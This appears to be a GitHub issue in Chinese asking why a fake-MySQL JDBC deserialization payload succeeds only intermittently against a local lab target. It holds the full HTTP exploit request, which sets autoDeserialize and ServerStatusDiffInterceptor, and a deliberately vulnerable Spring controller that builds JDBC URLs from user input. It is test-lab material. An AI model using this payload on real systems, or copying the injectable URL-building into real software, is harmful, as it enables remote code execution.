Skip to content

fakeMysql的payload概率生效 #59

Description

@ZyjacyaD

通过yakit批量发包,20次成功4次左右,能分析是什么原因吗?

POST /jdbc/test HTTP/1.1
Host: 127.0.0.1:8080
Accept: /
If-Modified-Since: Thu, 13 Aug 2026 01:17:16 GMT
User-Agent: Mozilla/5.0
Accept-Language: zh-cn
Accept-Encoding: br, gzip, deflate
Content-Type: application/json

{
"dbType": "mysql",
"host": "127.0.0.1",
"port": 3308,
"dbName": "test",
"username":"5646280c5c0e0aa10d3a86175294017e",
"password":"",
"extraParams": "autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=5646280c5c0e0aa10d3a86175294017e"
}

下面是AI写的靶场代码
`@PostMapping("/test")
public Map<String, Object> testConnection(@RequestBody JdbcConnectionRequest request) throws Exception {
Map<String, Object> result = new HashMap<>();
String url = buildJdbcUrl(request);
loadDriver(request.getDbType());
DriverManager.getConnection(url, request.getUsername(), request.getPassword());
result.put("url", url);
return result;
}

private String buildJdbcUrl(JdbcConnectionRequest req) {
    String dbType = req.getDbType().toLowerCase();
    String host = req.getHost();
    int port = req.getPort();
    String dbName = req.getDbName();
    String extra = req.getExtraParams();

    String baseUrl;
    if (dbType.equals("mysql")) {
        baseUrl = "jdbc:mysql://" + host + ":" + port + "/" + dbName;
    } else {
        throw new IllegalArgumentException("Unsupported database type: " + dbType);
    }

    // 拼接额外参数
    if (extra != null && !extra.trim().isEmpty()) {
        // 如果 extra 以 & 开头,去掉;否则加 ? 或 &
        String trimmed = extra.trim();
        if (!trimmed.startsWith("?") && !trimmed.startsWith("&")) {
            if (!baseUrl.contains("?")) {
                baseUrl += "?";
            } else {
                baseUrl += "&";
            }
            baseUrl += trimmed;
        } else {
            // 直接拼接(已包含 ? 或 &)
            baseUrl += trimmed;
        }
    }

    return baseUrl;
}

/**
 * 根据数据库类型加载对应的 JDBC 驱动
 */
private void loadDriver(String dbType) throws ClassNotFoundException {
    String driverClassName;
    switch (dbType.toLowerCase()) {
        case "mysql":
            driverClassName = "com.mysql.cj.jdbc.Driver";
            break;
        case "postgresql":
            driverClassName = "org.postgresql.Driver";
            break;
        case "h2":
            driverClassName = "org.h2.Driver";
            break;
        default:
            throw new IllegalArgumentException("Unsupported database type: " + dbType);
    }
    Class.forName(driverClassName);
}

public static class JdbcConnectionRequest {
    private String dbType;
    private String host;
    private int port;
    private String dbName;
    private String username;
    private String password;
    private String extraParams;

    // Getters and Setters
    public String getDbType() {
        return dbType;
    }

    public void setDbType(String dbType) {
        this.dbType = dbType;
    }

    public String getHost() {
        return host;
    }

    public void setHost(String host) {
        this.host = host;
    }

    public int getPort() {
        return port;
    }

    public void setPort(int port) {
        this.port = port;
    }

    public String getDbName() {
        return dbName;
    }

    public void setDbName(String dbName) {
        this.dbName = dbName;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String getExtraParams() {
        return extraParams;
    }

    public void setExtraParams(String extraParams) {
        this.extraParams = extraParams;
    }

    @Override
    public String toString() {
        return "JdbcConnectionRequest{" +
                "dbType='" + dbType + '\'' +
                ", host='" + host + '\'' +
                ", port=" + port +
                ", dbName='" + dbName + '\'' +
                ", username='" + username + '\'' +
                ", extraParams='" + extraParams + '\'' +
                '}';
    }
}`

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions